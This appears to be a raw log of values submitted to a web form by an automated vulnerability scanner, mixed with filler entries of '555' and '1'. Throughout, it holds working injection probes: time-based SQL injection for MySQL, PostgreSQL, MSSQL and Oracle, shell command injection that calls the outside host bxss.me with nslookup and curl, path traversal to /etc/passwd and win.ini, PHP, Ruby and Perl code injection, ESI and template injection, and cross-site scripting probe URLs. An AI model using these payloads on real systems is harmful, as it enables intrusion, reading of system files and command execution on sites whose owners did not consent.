5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@h28rX
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
1
555
555
555
555-1; waitfor delay '0:0:15' --
555
1
555
555
555
555-1); waitfor delay '0:0:15' --
555
555
555
555
1
555
555-1 waitfor delay '0:0:15' --
555
555
1
555
555AHeIjQ5D'; waitfor delay '0:0:15' --
555
555
1
555
555-1 OR 459=(SELECT 459 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555
1
555
555-1) OR 964=(SELECT 964 FROM PG_SLEEP(15))--
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
1
555
555
555
555-1)) OR 770=(SELECT 770 FROM PG_SLEEP(15))--
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
1
555B6cBG4Et' OR 509=(SELECT 509 FROM PG_SLEEP(15))--
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
1
555r5hbmP8U') OR 750=(SELECT 750 FROM PG_SLEEP(15))--
555
555-1; waitfor delay '0:0:15' --
555
1
555r8w6RZ0y')) OR 535=(SELECT 535 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555-1); waitfor delay '0:0:15' --
555
1
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555-1 waitfor delay '0:0:15' --
555
1
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
@@bJcqk
555VYZlQDQQ'; waitfor delay '0:0:15' --
555
1
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1 OR 906=(SELECT 906 FROM PG_SLEEP(15))--
555
555
1
555
555
555
555
555-1; waitfor delay '0:0:15' --
555-1) OR 386=(SELECT 386 FROM PG_SLEEP(15))--
1
555
555
555-1); waitfor delay '0:0:15' --
555-1)) OR 887=(SELECT 887 FROM PG_SLEEP(15))--
1
555
555
555-1 waitfor delay '0:0:15' --
555NjjnS9SH' OR 418=(SELECT 418 FROM PG_SLEEP(15))--
1
555*if(now()=sysdate(),sleep(15),0)
555
555HREVNxCu'; waitfor delay '0:0:15' --
555BWKvlR15') OR 867=(SELECT 867 FROM PG_SLEEP(15))--
1
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
555
555-1 OR 770=(SELECT 770 FROM PG_SLEEP(15))--
555ZXnJzNLE')) OR 821=(SELECT 821 FROM PG_SLEEP(15))--
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555-1) OR 229=(SELECT 229 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555-1)) OR 524=(SELECT 524 FROM PG_SLEEP(15))--
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@05R5B
555-1; waitfor delay '0:0:15' --
555
555IpT4xO5H' OR 567=(SELECT 567 FROM PG_SLEEP(15))--
555
555-1); waitfor delay '0:0:15' --
555
555PByATYAA') OR 419=(SELECT 419 FROM PG_SLEEP(15))--
555
555-1 waitfor delay '0:0:15' --
555
555MR7aMt3l')) OR 697=(SELECT 697 FROM PG_SLEEP(15))--
555v8wRe6KM'; waitfor delay '0:0:15' --
555
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555-1 OR 788=(SELECT 788 FROM PG_SLEEP(15))--
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@JdOHt
555-1) OR 430=(SELECT 430 FROM PG_SLEEP(15))--
555
555
555
555-1)) OR 28=(SELECT 28 FROM PG_SLEEP(15))--
555
555
555
5559tE5ELgA' OR 721=(SELECT 721 FROM PG_SLEEP(15))--
555
555
555MhDY11HQ') OR 989=(SELECT 989 FROM PG_SLEEP(15))--
555
555
555FjOxmPTB')) OR 332=(SELECT 332 FROM PG_SLEEP(15))--
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@jMMAy
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
${9999521+9999741}
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9872587*9160883)
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
'+response.write(9872587*9160883)+'
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
"+response.write(9872587*9160883)+"
555
555
Http://bxss.me/t/fit.txt
555
../../../../../../../../../../../../../../etc/passwd
555
http://bxss.me/t/fit.txt%3F.jpg
555
../../../../../../../../../../../../../../windows/win.ini
A3r6FCoE
555
file:///etc/passwd
555
8Yne2BC8: 4cpYbHXl
/etc/shells
555
555
../555
../../../../../../../../../../../../../../etc/shells
555
555
c:/windows/win.ini
555
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
echo ivhexy$()\ tszlwv\nz^xyu||a #' &echo ivhexy$()\ tszlwv\nz^xyu||a #|" &echo ivhexy$()\ tszlwv\nz^xyu||a #
555
555
555
555
555
&echo etpdlm$()\ tqoiyf\nz^xyu||a #' &echo etpdlm$()\ tqoiyf\nz^xyu||a #|" &echo etpdlm$()\ tqoiyf\nz^xyu||a #
555
555
555
555
555&echo zrwugt$()\ srwzwp\nz^xyu||a #' &echo zrwugt$()\ srwzwp\nz^xyu||a #|" &echo zrwugt$()\ srwzwp\nz^xyu||a #
555
555
555
555
|echo zikiht$()\ pgujpo\nz^xyu||a #' |echo zikiht$()\ pgujpo\nz^xyu||a #|" |echo zikiht$()\ pgujpo\nz^xyu||a #
)
555
555
555|echo kpuflm$()\ awvvug\nz^xyu||a #' |echo kpuflm$()\ awvvug\nz^xyu||a #|" |echo kpuflm$()\ awvvug\nz^xyu||a #
!(()&&!|*|*|
555
555
(nslookup -q=cname hitggcivwkwpa1cfc4.bxss.me||curl hitggcivwkwpa1cfc4.bxss.me))
555
^(#$!@#$)(()))******
$(nslookup -q=cname hitryhxyfogwa6ca05.bxss.me||curl hitryhxyfogwa6ca05.bxss.me)
555
555
555
&nslookup -q=cname hitgyyvvtxkab0a160.bxss.me&'\"`0&nslookup -q=cname hitgyyvvtxkab0a160.bxss.me&`'
555
555
555
555
&(nslookup -q=cname hitbvfrqzgqwk4ef7b.bxss.me||curl hitbvfrqzgqwk4ef7b.bxss.me)&'\"`0&(nslookup -q=cname hitbvfrqzgqwk4ef7b.bxss.me||curl hitbvfrqzgqwk4ef7b.bxss.me)&`'
555
555
|(nslookup -q=cname hitawwsunjzhh85853.bxss.me||curl hitawwsunjzhh85853.bxss.me)
555
555
555
555
555
`(nslookup -q=cname hitqjydmnwlln365d1.bxss.me||curl hitqjydmnwlln365d1.bxss.me)`
555
555
;(nslookup -q=cname hitubjznyqxzs1e3ca.bxss.me||curl hitubjznyqxzs1e3ca.bxss.me)|(nslookup -q=cname hitubjznyqxzs1e3ca.bxss.me||curl hitubjznyqxzs1e3ca.bxss.me)&(nslookup -q=cname hitubjznyqxzs1e3ca.bxss.me||curl hitubjznyqxzs1e3ca.bxss.me)
555
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitjlassvfubjefa7e.bxss.me||curl${IFS}hitjlassvfubjefa7e.bxss.me)
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hittjdzqkhkks9fbbe.bxss.me||curl${IFS}hittjdzqkhkks9fbbe.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hittjdzqkhkks9fbbe.bxss.me||curl${IFS}hittjdzqkhkks9fbbe.bxss.me)&`'
555
555
555
555
555
'.gethostbyname(lc('hitqz'.'wddhdmlw1d1b7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(89).chr(99).chr(85).'
555
555
555
555
555
".gethostbyname(lc("hitbv"."omahkxcv959df.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(77).chr(109).chr(85)."
555
gethostbyname(lc('hitrw'.'lzkajnghe1152.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(86).chr(103).chr(70)
555
555
555
555
'"()
555
555
555
555
555'&&sleep(27*1000)*zgpsbx&&'
555
555
555
555
555"&&sleep(27*1000)*nvbklu&&"
'"
555
555
555
555'||sleep(27*1000)*ozpsaw||'
555
<!--
555
555
555
555"||sleep(27*1000)*bnmtsm||"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
bxss.me/t/xss.html?%00
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
"+"A".concat(70-3).concat(22*4).concat(101).concat(82).concat(112).concat(80)+(require"socket" Socket.gethostbyname("hitgb"+"xjwzvben5e2b3.bxss.me.")[3].to_s)+"
555
';print(md5(31337));$a='
555
'+'A'.concat(70-3).concat(22*4).concat(106).concat(69).concat(111).concat(85)+(require'socket' Socket.gethostbyname('hitxx'+'fomqfyep75234.bxss.me.')[3].to_s)+'
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
'A'.concat(70-3).concat(22*4).concat(116).concat(84).concat(117).concat(88)+(require'socket' Socket.gethostbyname('hitsu'+'cunaoatj442fb.bxss.me.')[3].to_s)
";print(md5(31337));$a="
555
555
555
555
${@print(md5(31337))}
555
555
555
${@print(md5(31337))}\
555
555
555
555
555
555
555
555
'.print(md5(31337)).'
555
555
<?php print(md5(31337));?>
555
555
555
555
555
'{${print(md5(31337))}}'
${9999602+9999930}
555
555
555
555
print(md5(31337));//
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
{php}print(md5(31337));{/php}
555
555
555
555
555
555
555
[php]print(md5(31337));[/php]
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9625955*9339471)
555
555
555
'+response.write(9625955*9339471)+'
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
"+response.write(9625955*9339471)+"
555
555
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
file:///etc/passwd
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
555
Http://bxss.me/t/fit.txt
555
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
../555
555
555
555
555
/etc/shells
555
555
555
yKQZvGOl
../../../../../../../../../../../../../../etc/shells
555
555
Nhmk2YJ2: NIDTygw7
555
555
c:/windows/win.ini
555
555
555
555
555
bxss.me
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)
555
555
555
555
555
!(()&&!|*|*|
555
555
555
555
555
555
555
^(#$!@#$)(()))******
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitfi'.'dioqyush4b193.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(71).chr(114).chr(70).'
555
555
555
555
".gethostbyname(lc("hitsi"."xaewttyj80211.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(81).chr(111).chr(85)."
555
555
555
555
555
555
gethostbyname(lc('hitct'.'fnwlhlpa641eb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(81).chr(120).chr(84)
555
echo xuizpp$()\ qomjzp\nz^xyu||a #' &echo xuizpp$()\ qomjzp\nz^xyu||a #|" &echo xuizpp$()\ qomjzp\nz^xyu||a #
555
555
555
555
555
555
555
&echo asomky$()\ tmesnc\nz^xyu||a #' &echo asomky$()\ tmesnc\nz^xyu||a #|" &echo asomky$()\ tmesnc\nz^xyu||a #
555
555
555
555
555
555
555&echo fwknyl$()\ lygswy\nz^xyu||a #' &echo fwknyl$()\ lygswy\nz^xyu||a #|" &echo fwknyl$()\ lygswy\nz^xyu||a #
555
555
555
555
555
555
|echo qahhra$()\ iqsdeu\nz^xyu||a #' |echo qahhra$()\ iqsdeu\nz^xyu||a #|" |echo qahhra$()\ iqsdeu\nz^xyu||a #
555
555
555
555
555
555
555|echo wllxpc$()\ qqyavh\nz^xyu||a #' |echo wllxpc$()\ qqyavh\nz^xyu||a #|" |echo wllxpc$()\ qqyavh\nz^xyu||a #
'"
555
555
555
555
555
<!--
555
(nslookup -q=cname hitkmefgzksdb518b9.bxss.me||curl hitkmefgzksdb518b9.bxss.me))
555
555
555
555
555
555
555
$(nslookup -q=cname hitbbhfdfxfufe582f.bxss.me||curl hitbbhfdfxfufe582f.bxss.me)
555
555
555
&nslookup -q=cname hitvqixkxyuhae1bb6.bxss.me&'\"`0&nslookup -q=cname hitvqixkxyuhae1bb6.bxss.me&`'
555
555
555
555
555
555
555
&(nslookup -q=cname hitcrobxdwrsxfd438.bxss.me||curl hitcrobxdwrsxfd438.bxss.me)&'\"`0&(nslookup -q=cname hitcrobxdwrsxfd438.bxss.me||curl hitcrobxdwrsxfd438.bxss.me)&`'
555
555
555
555
555
555
|(nslookup -q=cname hitubvdtwbbgo1522c.bxss.me||curl hitubvdtwbbgo1522c.bxss.me)
555
555
HttP://bxss.me/t/xss.html?%00
'"()
555
555
555
`(nslookup -q=cname hitbjdcvgrsqz48e12.bxss.me||curl hitbjdcvgrsqz48e12.bxss.me)`
555
555
bxss.me/t/xss.html?%00
555
555
555'&&sleep(27*1000)*ojxevz&&'
;(nslookup -q=cname hitbntywcljwua0632.bxss.me||curl hitbntywcljwua0632.bxss.me)|(nslookup -q=cname hitbntywcljwua0632.bxss.me||curl hitbntywcljwua0632.bxss.me)&(nslookup -q=cname hitbntywcljwua0632.bxss.me||curl hitbntywcljwua0632.bxss.me)
555
555
555
555
555
555"&&sleep(27*1000)*imkbty&&"
|(nslookup${IFS}-q${IFS}cname${IFS}hitgcofyptzpf7eeb9.bxss.me||curl${IFS}hitgcofyptzpf7eeb9.bxss.me)
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitzvjitslbqi504e2.bxss.me||curl${IFS}hitzvjitslbqi504e2.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitzvjitslbqi504e2.bxss.me||curl${IFS}hitzvjitslbqi504e2.bxss.me)&`'
555
555'||sleep(27*1000)*dmpduq||'
';print(md5(31337));$a='
555
"+"A".concat(70-3).concat(22*4).concat(106).concat(84).concat(114).concat(82)+(require"socket" Socket.gethostbyname("hitww"+"iyotapim17807.bxss.me.")[3].to_s)+"
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555"||sleep(27*1000)*oiaioj||"
555
555
";print(md5(31337));$a="
'+'A'.concat(70-3).concat(22*4).concat(113).concat(72).concat(108).concat(69)+(require'socket' Socket.gethostbyname('hitjc'+'fipwqfne18715.bxss.me.')[3].to_s)+'
555
555
555
555
${@print(md5(31337))}
'A'.concat(70-3).concat(22*4).concat(109).concat(86).concat(114).concat(75)+(require'socket' Socket.gethostbyname('hitxv'+'esvcduoy604b1.bxss.me.')[3].to_s)
555
${@print(md5(31337))}\
555
555
555
'.print(md5(31337)).'
555
1
555
1
<?php print(md5(31337));?>
555
'{${print(md5(31337))}}'
555
print(md5(31337));//
555
555
1
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
555
1
555
555
1
555
1
555
555
555
555
1
555
555
555
555
555
555
555
555
555
555
1
1
1
555
555
1
555
555
555
1
555
555
555
555
1
1
555
555
555
1
555
555
555
1
555
555
555
555
1
555
555
555
555
1
1
555
555
555
555
1
1
1
555
555
555
1
555
1
1
555
555
1
555
1
555
1
1
555
555
1
555
1
1
555
1
1
555
1
555
1
555
1
1
1
555
1
555
1
1
555
555
1
1
555
555
1
1
1
1
1
1
555
1
555
1
1
555
1
555
1
1
555
1
555
1
555
555
555
1
555
555
555
1
555
1
555
555
1
555
1
555
1
1
1
1
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1
1
1
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555-1; waitfor delay '0:0:15' --
555
555-1); waitfor delay '0:0:15' --
555
555-1 waitfor delay '0:0:15' --
555
555
555
555GmOgDTVo'; waitfor delay '0:0:15' --
555
555-1 OR 918=(SELECT 918 FROM PG_SLEEP(15))--
555
555-1) OR 443=(SELECT 443 FROM PG_SLEEP(15))--
555
555-1)) OR 343=(SELECT 343 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555C3fXMbiR' OR 343=(SELECT 343 FROM PG_SLEEP(15))--
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555JSyg8wIP') OR 752=(SELECT 752 FROM PG_SLEEP(15))--
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555A0Ev5baa')) OR 258=(SELECT 258 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555-1; waitfor delay '0:0:15' --
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555-1); waitfor delay '0:0:15' --
@@cCUb8
555-1 waitfor delay '0:0:15' --
555
555Dh08dVjR'; waitfor delay '0:0:15' --
555
555-1 OR 608=(SELECT 608 FROM PG_SLEEP(15))--
555-1) OR 552=(SELECT 552 FROM PG_SLEEP(15))--
555-1)) OR 526=(SELECT 526 FROM PG_SLEEP(15))--
555CmpTELmN' OR 810=(SELECT 810 FROM PG_SLEEP(15))--
1
555nIIIQReP') OR 65=(SELECT 65 FROM PG_SLEEP(15))--
1
5558hPgrS89')) OR 987=(SELECT 987 FROM PG_SLEEP(15))--
1
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@fTG8V
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
555
1
1
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
${10000404+9999263}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9664693*9477026)
555
555
'+response.write(9664693*9477026)+'
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
"+response.write(9664693*9477026)+"
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
../../../../../../../../../../../../../../etc/passwd
Http://bxss.me/t/fit.txt
../../../../../../../../../../../../../../windows/win.ini
http://bxss.me/t/fit.txt%3F.jpg
file:///etc/passwd
555
/etc/shells
../../../../../../../../../../../../../../etc/shells
555
555
c:/windows/win.ini
../555
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
s1t0usJT
555
555
LtBRsaNl: GPQcpi3P
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
echo nvcehy$()\ aaeyfn\nz^xyu||a #' &echo nvcehy$()\ aaeyfn\nz^xyu||a #|" &echo nvcehy$()\ aaeyfn\nz^xyu||a #
555
555
555
&echo ewqnmi$()\ qexhlh\nz^xyu||a #' &echo ewqnmi$()\ qexhlh\nz^xyu||a #|" &echo ewqnmi$()\ qexhlh\nz^xyu||a #
555
555
555&echo dfsalq$()\ okoezl\nz^xyu||a #' &echo dfsalq$()\ okoezl\nz^xyu||a #|" &echo dfsalq$()\ okoezl\nz^xyu||a #
555
555
)
555
555
555
|echo hozhrm$()\ uhbmsw\nz^xyu||a #' |echo hozhrm$()\ uhbmsw\nz^xyu||a #|" |echo hozhrm$()\ uhbmsw\nz^xyu||a #
555
!(()&&!|*|*|
555
555
555|echo prglud$()\ gvzcoe\nz^xyu||a #' |echo prglud$()\ gvzcoe\nz^xyu||a #|" |echo prglud$()\ gvzcoe\nz^xyu||a #
'"
555
'.gethostbyname(lc('hitaw'.'nwxvoket7a83f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(90).chr(112).chr(81).'
<!--
HttP://bxss.me/t/xss.html?%00
(nslookup -q=cname hitddmtuvrdkk2dac2.bxss.me||curl hitddmtuvrdkk2dac2.bxss.me))
^(#$!@#$)(()))******
555
".gethostbyname(lc("hitxm"."kdebebidb2d45.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(83).chr(118).chr(67)."
bxss.me/t/xss.html?%00
555
$(nslookup -q=cname hitylonxqapwa3edd0.bxss.me||curl hitylonxqapwa3edd0.bxss.me)
555
&nslookup -q=cname hitdwczxstvwhf0717.bxss.me&'\"`0&nslookup -q=cname hitdwczxstvwhf0717.bxss.me&`'
555
gethostbyname(lc('hithx'.'qnaizglq06623.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(77).chr(97).chr(81)
555
555
555
&(nslookup -q=cname hitlzdlnxxtlf85f8d.bxss.me||curl hitlzdlnxxtlf85f8d.bxss.me)&'\"`0&(nslookup -q=cname hitlzdlnxxtlf85f8d.bxss.me||curl hitlzdlnxxtlf85f8d.bxss.me)&`'
555
555
|(nslookup -q=cname hitrfmbapiqomfe773.bxss.me||curl hitrfmbapiqomfe773.bxss.me)
555
555
555
555
555
`(nslookup -q=cname hityqekgysdaudc2a2.bxss.me||curl hityqekgysdaudc2a2.bxss.me)`
555
555
555
555
555
555
555
555
;(nslookup -q=cname hitddhdvgcxcpf0135.bxss.me||curl hitddhdvgcxcpf0135.bxss.me)|(nslookup -q=cname hitddhdvgcxcpf0135.bxss.me||curl hitddhdvgcxcpf0135.bxss.me)&(nslookup -q=cname hitddhdvgcxcpf0135.bxss.me||curl hitddhdvgcxcpf0135.bxss.me)
555
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitflokssdiop00323.bxss.me||curl${IFS}hitflokssdiop00323.bxss.me)
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hittjedcvrbhy58c46.bxss.me||curl${IFS}hittjedcvrbhy58c46.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hittjedcvrbhy58c46.bxss.me||curl${IFS}hittjedcvrbhy58c46.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
"+"A".concat(70-3).concat(22*4).concat(99).concat(88).concat(104).concat(76)+(require"socket" Socket.gethostbyname("hitgf"+"gdqlacojc58b9.bxss.me.")[3].to_s)+"
'"()
555
555
'+'A'.concat(70-3).concat(22*4).concat(108).concat(68).concat(113).concat(87)+(require'socket' Socket.gethostbyname('hitjr'+'castnrbt4a381.bxss.me.')[3].to_s)+'
555'&&sleep(27*1000)*ppgjps&&'
555
'A'.concat(70-3).concat(22*4).concat(115).concat(78).concat(110).concat(87)+(require'socket' Socket.gethostbyname('hitok'+'mynglbes60b25.bxss.me.')[3].to_s)
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555"&&sleep(27*1000)*xqmfyp&&"
';print(md5(31337));$a='
555'||sleep(27*1000)*qguqqi||'
";print(md5(31337));$a="
555
${@print(md5(31337))}
555"||sleep(27*1000)*reeaaj||"
555
555
${@print(md5(31337))}\
555
555
555
'.print(md5(31337)).'
555
555
<?php print(md5(31337));?>
555
'{${print(md5(31337))}}'
555
555
555
print(md5(31337));//
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555KA97YJer'; waitfor delay '0:0:15' --
555-1 OR 680=(SELECT 680 FROM PG_SLEEP(15))--
555-1) OR 97=(SELECT 97 FROM PG_SLEEP(15))--
555-1)) OR 164=(SELECT 164 FROM PG_SLEEP(15))--
555eCuEKsaw' OR 232=(SELECT 232 FROM PG_SLEEP(15))--
555WsXH5OMr') OR 597=(SELECT 597 FROM PG_SLEEP(15))--
555oUtAsG6z')) OR 964=(SELECT 964 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@NT790
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555zAshwpxG') OR 771=(SELECT 771 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
${9999337+10000179}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
../../../../../../../../../../../../../../etc/passwd
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
Http://bxss.me/t/fit.txt
555
http://bxss.me/t/fit.txt%3F.jpg
../555
/etc/shells
../../../../../../../../../../../../../../etc/shells
c:/windows/win.ini
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9701731*9498549)
555
'+response.write(9701731*9498549)+'
555
"+response.write(9701731*9498549)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
5qaDJnOB
555
555
mnwaTQzp: EB2ayrwx
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
echo rtvvbx$()\ snlbss\nz^xyu||a #' &echo rtvvbx$()\ snlbss\nz^xyu||a #|" &echo rtvvbx$()\ snlbss\nz^xyu||a #
&echo vmcnog$()\ urlijq\nz^xyu||a #' &echo vmcnog$()\ urlijq\nz^xyu||a #|" &echo vmcnog$()\ urlijq\nz^xyu||a #
555
